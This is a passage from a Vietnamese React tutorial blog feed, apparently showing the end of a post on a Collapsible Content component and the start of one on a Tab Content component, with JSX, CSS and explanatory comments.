property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">max-width</span><span class="token punctuation">:</span> 780px<span class="token punctuation">;</span> <span class="token property">margin</span><span class="token punctuation">:</span> auto<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 15px<span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> #222<span class="token punctuation">;</span> <span class="token property">font</span><span class="token punctuation">:</span> normal normal normal 1rem/1.6 Nunito Sans<span class="token punctuation">,</span> Helvetica<span class="token punctuation">,</span> Arial<span class="token punctuation">,</span> sans-serif<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong đây, mình kết hợp Tab Content với các React Component khác mà mình đã làm như: <a href="/hoc-react-qua-vi-du-1-slideshow/">Slideshow</a>, <a href="/hoc-react-qua-vi-du-3-modal-image/">Modal Image</a> và <a href="/hoc-react-qua-vi-du-4-lightbox/">Lightbox</a>.</p> <div class="gatsby-code-title gatsby-remark-code-title">./src/App.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"./App.css"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> CollapsibleContent <span class="token keyword">from</span> <span class="token string">"./components/collapsible-content/collapsible-content"</span><span class="token punctuation">;</span> <span class="token comment">// Kết hợp Slideshow trong Collapsible Content</span> <span class="token keyword">import</span> Slideshow <span class="token keyword">from</span> <span class="token string">"./components/slideshow/slideshow"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> img1 <span class="token keyword">from</span> <span class="token string">"./images/01.jpg"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> img2 <span class="token keyword">from</span> <span class="token string">"./images/02.jpg"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> img3 <span class="token keyword">from</span> <span class="token string">"./images/03.jpg"</span><span class="token punctuation">;</span> <span class="token comment">// Kết hợp Modal Image trong Collapsible Content</span> <span class="token keyword">import</span> ModalImage <span class="token keyword">from</span> <span class="token string">"./components/modal-image/modal-image"</span><span class="token punctuation">;</span> <span class="token comment">// Kết hợp Lightbox trong Collapsible Content</span> <span class="token keyword">import</span> LightBox <span class="token keyword">from</span> <span class="token string">"./components/lightbox/lightbox"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> collection <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">src</span><span class="token operator">:</span> img1<span class="token punctuation">,</span> <span class="token literal-property property">caption</span><span class="token operator">:</span> <span class="token string">"Caption one"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">src</span><span class="token operator">:</span> img2<span class="token punctuation">,</span> <span class="token literal-property property">caption</span><span class="token operator">:</span> <span class="token string">"Caption two"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">src</span><span class="token operator">:</span> img3<span class="token punctuation">,</span> <span class="token literal-property property">caption</span><span class="token operator">:</span> <span class="token string">"Caption three"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token keyword">class</span> <span class="token class-name">App</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>App<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h2</span><span class="token punctuation">></span></span><span class="token plain-text">Collapsible Content</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h2</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span><span class="token plain-text"> Click on each section to toggle between hiding and showing the content </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">CollapsibleContent</span></span> <span class="token attr-name">title</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Section 1</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">isActive</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token boolean">true</span><span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span><span class="token plain-text"> Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span><span class="token class-name">CollapsibleContent</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">CollapsibleContent</span></span> <span class="token attr-name">title</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Section 2</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h2</span><span class="token punctuation">></span></span><span class="token plain-text"> Slideshow </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h2</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Slideshow</span></span> <span class="token attr-name">input</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>collection<span class="token punctuation">}</span></span> <span class="token attr-name">ratio</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">3:2</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">mode</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">manual</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span><span class="token class-name">CollapsibleContent</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">CollapsibleContent</span></span> <span class="token attr-name">title</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Section 3</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h2</span><span class="token punctuation">></span></span><span class="token plain-text">Image Modal</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h2</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span><span class="token plain-text">Click the image below to show the modal.</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">ModalImage</span></span> <span class="token attr-name">src</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>img2<span class="token punctuation">}</span></span> <span class="token attr-name">alt</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">This is one of beautiful girls</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">ratio</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">3:2</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span><span class="token class-name">CollapsibleContent</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">CollapsibleContent</span></span> <span class="token attr-name">title</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Section 4</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h2</span><span class="token punctuation">></span></span><span class="token plain-text">LightBox</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h2</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span><span class="token plain-text">Click on each image below to show the modal.</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">LightBox</span></span> <span class="token attr-name">input</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>collection<span class="token punctuation">}</span></span> <span class="token attr-name">ratio</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">3:2</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span><span class="token class-name">CollapsibleContent</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span><span class="token plain-text"> Made by </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://about.phamvanlam.com/<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text">Lam Pham</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span class="token plain-text">. Visit me at </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>/<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text">completejavascript.com</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span class="token plain-text">. </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong đó, Collapsible Content Component là một <a href="https://reactjs.org/docs/higher-order-components.html"><strong>Higher-Order Components</strong></a> với các thuộc tính là:</p> <ul> <li><strong>title (<a href="/kieu-du-lieu-trong-javascript/">String</a>):</strong> là title của component</li> <li><strong>isActive</strong> (<strong>Boolean</strong>): là biến để xác định xem Component có được active hay không. Nếu <strong>isActive</strong> có giá trị <strong>true</strong> thì Component sẽ hiển thị nội dung dạng mở rộng.</li> </ul> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là kết quả sau khi mình học React qua ví dụ #7 – Collapsible Content. Nếu bạn thấy hay thì có thể thực hành làm thử và tùy biến theo ý thích của bạn.</p> <a href="https://about.phamvanlam.com/learn-react-by-example/#/collapsible-content/" class="btn btn-primary margin-bottom"> Xem Demo </a> <p>Sắp tới mình sẽ tiếp tục chia sẻ với bạn các bài thực hành của mình. Nếu bạn thấy hay hoặc muốn tìm hiểu về <strong>LOẠI COMPONENT</strong> nào thì có thể để lại bình luận phía dưới nhé!</p> <p>Còn bây giờ thì xin chào và hẹn gặp lại, thân ái!</p>[email protected]<![CDATA[Học React qua ví dụ #6: Tab Content]]><![CDATA[Xin chào bạn đến với Học React qua ví dụ #6. Bài này mình sẽ thực hành React thông qua việc tạo Tab Content. Trước khi bắt đầu, mời bạn theo dõi ví dụ minh họa: Về cơ bản thì phần…]]>https://completejavascript.com/hoc-react-qua-vi-du-6-tab-content/https://completejavascript.com/hoc-react-qua-vi-du-6-tab-content/<![CDATA[Create-react-app]]><![CDATA[React Component]]>Sun, 18 Nov 2018 22:30:53 GMT<p>Xin chào bạn đến với Học React qua ví dụ #6. Bài này mình sẽ thực hành React thông qua việc tạo Tab Content. Trước khi bắt đầu, mời bạn theo dõi ví dụ minh họa:</p> <a href="https://about.phamvanlam.com/learn-react-by-example/#/tab-content/" class="btn btn-primary margin-bottom"> Xem Demo Tab Content </a> <p>Về cơ bản thì phần này khá giống với Tab Gallery, chỉ khác ở chỗ là nội dung ứng với mỗi tab là bất kỳ chứ không phải chỉ mỗi ảnh. Vì vậy, nếu bạn đã theo dõi bài viết về <a href="/hoc-react-qua-vi-du-5-tab-gallery/">Tab Gallery</a> thì bài này sẽ rất đơn giản. Vì nó hoàn toàn tương tự.</p> <p>Sau đây sẽ là cách triển khai, mời bạn theo dõi bài viết!</p> <blockquote> <p><strong>Bạn chú ý:</strong> Trong series <a href="/tag/react-component/">học React qua ví dụ</a> này, mình sẽ thực hành xây dựng các Component trên cùng một Project. Vì vậy, sẽ có những phần mình lặp lại trong các bài viết. Mục đích của mình là dù bạn có bắt đầu đọc từ bài nào (bài số 1 hay bài số N) thì bạn cũng có thể làm theo được.</p> </blockquote> <h2 id="khởi-tạo-project" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-project" aria-label="khởi tạo project permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo Project</h2> <p>Trong bài học này, mình vẫn khuyến khích bạn sử dụng <a href="/tag/create-react-app/">Create-react-app</a> để thực hành học React qua ví dụ #6 ngay trên máy tính của mình.</p> <p>Để tạo mới một project React với Creat-react-app, bạn có thể tham khảo thêm bài viết: <a href="/deploy-ung-dung-react-len-github-pages/">Tạo và deploy ứng dụng React lên Github Pages</a>.</p> <h2 id="cấu-trúc-project" style="position:relative;"><a href="#c%E1%BA%A5u-tr%C3%BAc-project" aria-label="cấu trúc project permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cấu trúc Project</h2> <p>Đầu tiên, bạn tạo ra các thư mục và file như sau (bạn chỉ cần quan tâm tới thư mục <strong>/src</strong>):</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">learn-react-by-example/ --src/ ----components/ ------tab-content/ --------tab-content.css --------tab-content.js ----images/ ----App.css ----App.js ----index.css ----index.js ----serviceWorker.js</code></pre></div> <p>Trong đó:</p> <ul> <li> <p>Thư mục <strong>components</strong>: chứa code của các Component. Bài này mình thực hành về <strong>Tab Content</strong> nên mình tạo thêm thư mục <strong>tab-content</strong> bên trong với 2 file <strong>tab-content.js</strong> và <strong>tab-content.css</strong> để định nghĩa cho component <strong>Tab Content</strong> (bài viết sau thực hành về cái khác thì mình sẽ tạo thêm thư mục vào bên trong <strong>components</strong> như này).</p> </li> <li> <p>Thư mục <strong>images</strong>: để chứa tất cả những ảnh mình sử dụng cho Demo.</p> </li> <li> <p>Các file <strong>App.css</strong> và <strong>App.js</strong> dùng để demo chính. Bên trong <strong>App.js</strong> mình sẽ sử dụng component <strong>Tab Content</strong> ở trên.</p> </li> <li> <p>Các file <strong>index.css, index.js và serviceWorker.js</strong> thì <strong>KHÔNG THAY ĐỔI</strong> với mọi bài thực hành.</p> </li> </ul> <h2 id="xây-dựng-tab-content-component" style="position:relative;"><a href="#x%C3%A2y-d%E1%BB%B1ng-tab-content-component" aria-label="xây dựng tab content component permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xây dựng Tab Content Component</h2> <h3 id="nội-dung-file-tab-contentjs" style="position:relative;"><a href="#n%E1%BB%99i-dung-file-tab-contentjs" aria-label="nội dung file tab contentjs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nội dung file tab-content.js</h3> <p>Trong phần này bạn cần phải chú ý đến một số kiến thức như:</p> <ul> <li><a href="/tim-hieu-react-component-lifecycle/">React Component Lifecycle</a></li> <li><a href="/xu-ly-mot-event-javascript-co-ban/">Đăng ký và hủy bỏ event</a> (<strong><em>resize</em></strong>).</li> </ul> <p>Về nội dung chi tiết mình sẽ giải thích trong phần comment code dưới đây. Bạn chịu khó đọc nhé! Có phần nào chưa hiểu thì có thể để lại bình luận phía dưới.</p> <div class="gatsby-code-title gatsby-remark-code-title">tab-content.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"./tab-content.css"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token keyword">class</span> <span class="token class-name">TabContent</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">props</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">super</span><span class="token punctuation">(</span>props<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Tạo ra một mảng để lưu ref của các tab content</span> <span class="token keyword">this</span><span class="token punctuation">.</span>refTabContents <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>input<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">_</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>refTabContents<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>React<span class="token punctuation">.</span><span class="token function">createRef</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Mặc định sẽ hiển thị tab đầu tiên, nên this.state.tabIndex = 0</span> <span class="token keyword">this</span><span class="token punctuation">.</span>state <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">tabIndex</span><span class="token operator">:</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>changeTabIndex <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">changeTabIndex</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>updateTabContent <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">updateTabContent</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Thay đổi tabIndex khi người dùng thay đổi tab */</span> <span class="token function">changeTabIndex</span><span class="token punctuation">(</span><span class="token parameter">index</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">setState</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">tabIndex</span><span class="token operator">:</span> index<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Cập nhật tab content * * Hàm này sẽ duyệt từng tab content, * + Nếu this.state.tabIndex trùng với index của tab => tab đó được active * => gán maxHeight cho nó bằng với giá trị scrollHeight - độ cao cần thiết * => và gán opacity = 1 để hiển thị nó * + Ngược lại, khi nó không được active * => gán maxHeight cho nó bằng 0. * => mà trong file css mình đã set overflow = hidden nên nó sẽ bị ẩn * => tuy nhiên nó vẫn có padding và border * => nên cần set opacity = 0 để ẩn nốt border đi */</span> <span class="token function">updateTabContent</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>refTabContents<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">refTab<span class="token punctuation">,</span> index</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">const</span> elmTab <span class="token operator">=</span> refTab<span class="token punctuation">.</span>current<span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>state<span class="token punctuation">.</span>tabIndex <span class="token operator">===</span> index<span class="token punctuation">)</span> <span class="token punctuation">{</span> elmTab<span class="token punctuation">.</span>style<span class="token punctuation">.</span>maxHeight <span class="token operator">=</span> elmTab<span class="token punctuation">.</span>scrollHeight <span class="token operator">+</span> <span class="token string">"px"</span><span class="token punctuation">;</span> elmTab<span class="token punctuation">.</span>style<span class="token punctuation">.</span>opacity <span class="token operator">=</span> <span class="token string">"1"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> elmTab<span class="token punctuation">.</span>style<span class="token punctuation">.</span>maxHeight <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span> elmTab<span class="token punctuation">.</span>style<span class="token punctuation">.</span>opacity <span class="token operator">=</span> <span class="token string">"0"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Hàm này được gọi khi TabContent được render xong. * Khi đó mình sẽ cập nhật TabContent - updateTabContent lần đầu tiên. * Sau đó, đăng ký sự kiện khi thay đổi kích thước màn hình, * sẽ cập nhật lại TabContent, * (thực chất là mình chỉ cập nhật lại maxHeight) */</span> <span class="token function">componentDidMount</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">updateTabContent</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> window<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"resize"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>updateTabContent<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Hàm này được gọi khi TabContent bị huỷ. * Lúc này cần huỷ đăng ký sự kiện resize lúc trước để tránh leak memory */</span> <span class="token function">componentWillUnmount</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> window<span class="token punctuation">.</span><span class="token function">removeEventListener</span><span class="token punctuation">(</span><span class="token string">"resize"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>updateTabContent<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Hàm này được gọi mỗi khi this.state.tabIndex thay đổi. * Tức là mình cần phải cập nhật lại nội dung của Tab content * ứng với từng tab */</span> <span class="token function">componentDidUpdate</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">updateTabContent</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>lp-tab-content<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>tab<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token punctuation">{</span><span class="token 